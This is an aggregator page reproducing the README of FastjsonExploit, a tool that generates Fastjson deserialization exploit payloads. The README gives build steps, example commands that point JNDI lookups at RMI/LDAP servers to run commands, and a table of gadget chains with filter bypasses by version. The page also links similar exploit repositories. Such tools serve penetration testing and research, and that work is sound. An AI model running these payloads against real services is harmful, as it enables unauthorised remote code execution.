GitPlanet

Cheap and reliable Node.js hosting starts at $3/month, and $1/month static HTML hosting

Created with love in Canada, visit hostnodejs.com today

Feel like to post an Ad? Learn Details
All Projects → c0ny1 → Fastjsonexploit

c0ny1 / Fastjsonexploit

Fastjson vulnerability quickly exploits the framework（fastjson漏洞快速利用框架）

Programming Languages

java
68154 projects - #9 most used programming language

Labels

pocfastjson

Projects that are alternatives of or similar to Fastjsonexploit

Medusa
🐈Medusa是一个红队武器库平台，目前包括扫描功能(200+个漏洞)、XSS平台、协同平台、CVE监控等功能，持续开发中 http://medusa.ascotbe.com
Stars: ✭ 796 (+23.41%)
Mutual labels:  fastjson, poc
Fastjson
A fast JSON parser/generator for Java.
Stars: ✭ 23,997 (+3620.47%)
Mutual labels:  fastjson
K8tools
K8工具合集(内网渗透/提权工具/远程溢出/漏洞利用/扫描工具/密码破解/免杀工具/Exploit/APT/0day/Shellcode/Payload/priviledge/BypassUAC/OverFlow/WebShell/PenTest) Web GetShell Exploit(Struts2/Zimbra/Weblogic/Tomcat/Apache/Jboss/DotNetNuke/zabbix)
Stars: ✭ 4,173 (+546.98%)
Mutual labels:  poc
Drupalgeddon2
Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)
Stars: ✭ 464 (-28.06%)
Mutual labels:  poc
Ladongo
Ladon Pentest Scanner framework 全平台LadonGo开源内网渗透扫描器框架，使用它可轻松一键批量探测C段、B段、A段存活主机、高危漏洞检测MS17010、SmbGhost，远程执行SSH/Winrm，密码爆破SMB/SSH/FTP/Mysql/Mssql/Oracle/Winrm/HttpBasic/Redis，端口扫描服务识别PortScan指纹识别/HttpBanner/HttpTitle/TcpBanner/Weblogic/Oxid多网卡主机，端口扫描服务识别PortScan。
Stars: ✭ 366 (-43.26%)
Mutual labels:  poc
Vulscan
vulscan 扫描系统：最新的poc&exp漏洞扫描，redis未授权、敏感文件、java反序列化、tomcat命令执行及各种未授权扫描等...
Stars: ✭ 486 (-24.65%)
Mutual labels:  poc
Cve 2020 0796 Rce Poc
CVE-2020-0796 Remote Code Execution POC
Stars: ✭ 359 (-44.34%)
Mutual labels:  poc
Xray
一款完善的安全评估工具，支持常见 web 安全问题扫描和自定义 poc | 使用之前务必先阅读文档
Stars: ✭ 6,218 (+864.03%)
Mutual labels:  poc
Android Zblibrary
🔥Android MVP 快速开发框架，做国内 「示例最全面」「注释最详细」「使用最简单」「代码最严谨」的 Android 开源 UI 框架。 🔥An Android MVP Framework with many demos, detailed documents, simple usages and strict codes.
Stars: ✭ 5,000 (+675.19%)
Mutual labels:  fastjson
Fastjson
Smallest, fastest polymorphic JSON serializer
Stars: ✭ 446 (-30.85%)
Mutual labels:  fastjson
Osprey
Stars: ✭ 431 (-33.18%)
Mutual labels:  poc
Hacking
hacker, ready for more of our story ! 🚀
Stars: ✭ 413 (-35.97%)
Mutual labels:  poc
Bylibrary
白阁文库是白泽Sec安全团队维护的一个漏洞POC和EXP公开项目
Stars: ✭ 488 (-24.34%)
Mutual labels:  poc
Poc Exp
poc or exp of android vulnerability
Stars: ✭ 362 (-43.88%)
Mutual labels:  poc
Am I Affected By Meltdown
Meltdown Exploit / Proof-of-concept / checks whether system is affected by Variant 3: rogue data cache load (CVE-2017-5754), a.k.a MELTDOWN.
Stars: ✭ 549 (-14.88%)
Mutual labels:  poc
Javadeserh2hc
Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC).
Stars: ✭ 361 (-44.03%)
Mutual labels:  poc
Cve 2017 0785
Blueborne CVE-2017-0785 Android information leak vulnerability
Stars: ✭ 428 (-33.64%)
Mutual labels:  poc
Poc
Proofs-of-concept
Stars: ✭ 467 (-27.6%)
Mutual labels:  poc
Routeros
RouterOS Security Research Tooling and Proof of Concepts
Stars: ✭ 603 (-6.51%)
Mutual labels:  poc
Cmspoc
CMS渗透测试框架-A CMS Exploit Framework
Stars: ✭ 557 (-13.64%)
Mutual labels:  poc
View All Similar Projects ➔

FastjonExploit | Fastjson漏洞快速利用框架

0x01 Introduce

FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架，主要功能如下：

  1. 一键生成利用payload，并启动所有利用环境。
  2. 管理Fastjson各种payload（当然是立志整理所有啦，目前6个类，共11种利用及绕过）

0x02 Buiding

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

0x03 Usage



.---- -. -. .  .   .
   ( .',----- - - ' '
    \_/      ;--:-\         __--------------------__
   __U__n_^_''__[. |ooo___  | |_!_||_!_||_!_||_!_| |
 c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
 ,_\___________'_|,L______],|______________________|
/;_(@)(@)==(@)(@)   (o)(o)      (o)^(o)--(o)^(o)

FastjsonExploit is a Fastjson library vulnerability exploit framework
                Author:c0ny1<[email protected]>


Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]
Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"
Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"
Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"
Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"

Available payload types:
    Payload                PayloadType VulVersion      Dependencies                                      
    -------                ----------- ----------      ------------                                      
    BasicDataSource1       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
    BasicDataSource2       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
    JdbcRowSetImpl1        jndi        1.2.2.1-1.2.2.4                                                   
    JdbcRowSetImpl2        jndi        1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass                            
    JdbcRowSetImpl3        jndi        1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass                            
    JdbcRowSetImpl4        jndi        1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass                            
    JdbcRowSetImpl5        jndi        1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass                            
    JndiDataSourceFactory1 jndi        1.2.2.1-1.2.2.4 ibatis-core:3.0                                   
    SimpleJndiBeanFactory1 jndi        1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE                      
    TemplatesImpl1         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)   
    TemplatesImpl2         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)

0x04 Notice

  • 帮助信息所说明的payload可利用的Fastjson版本，不一定正确。后续测试更正！

0x05 Reference

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].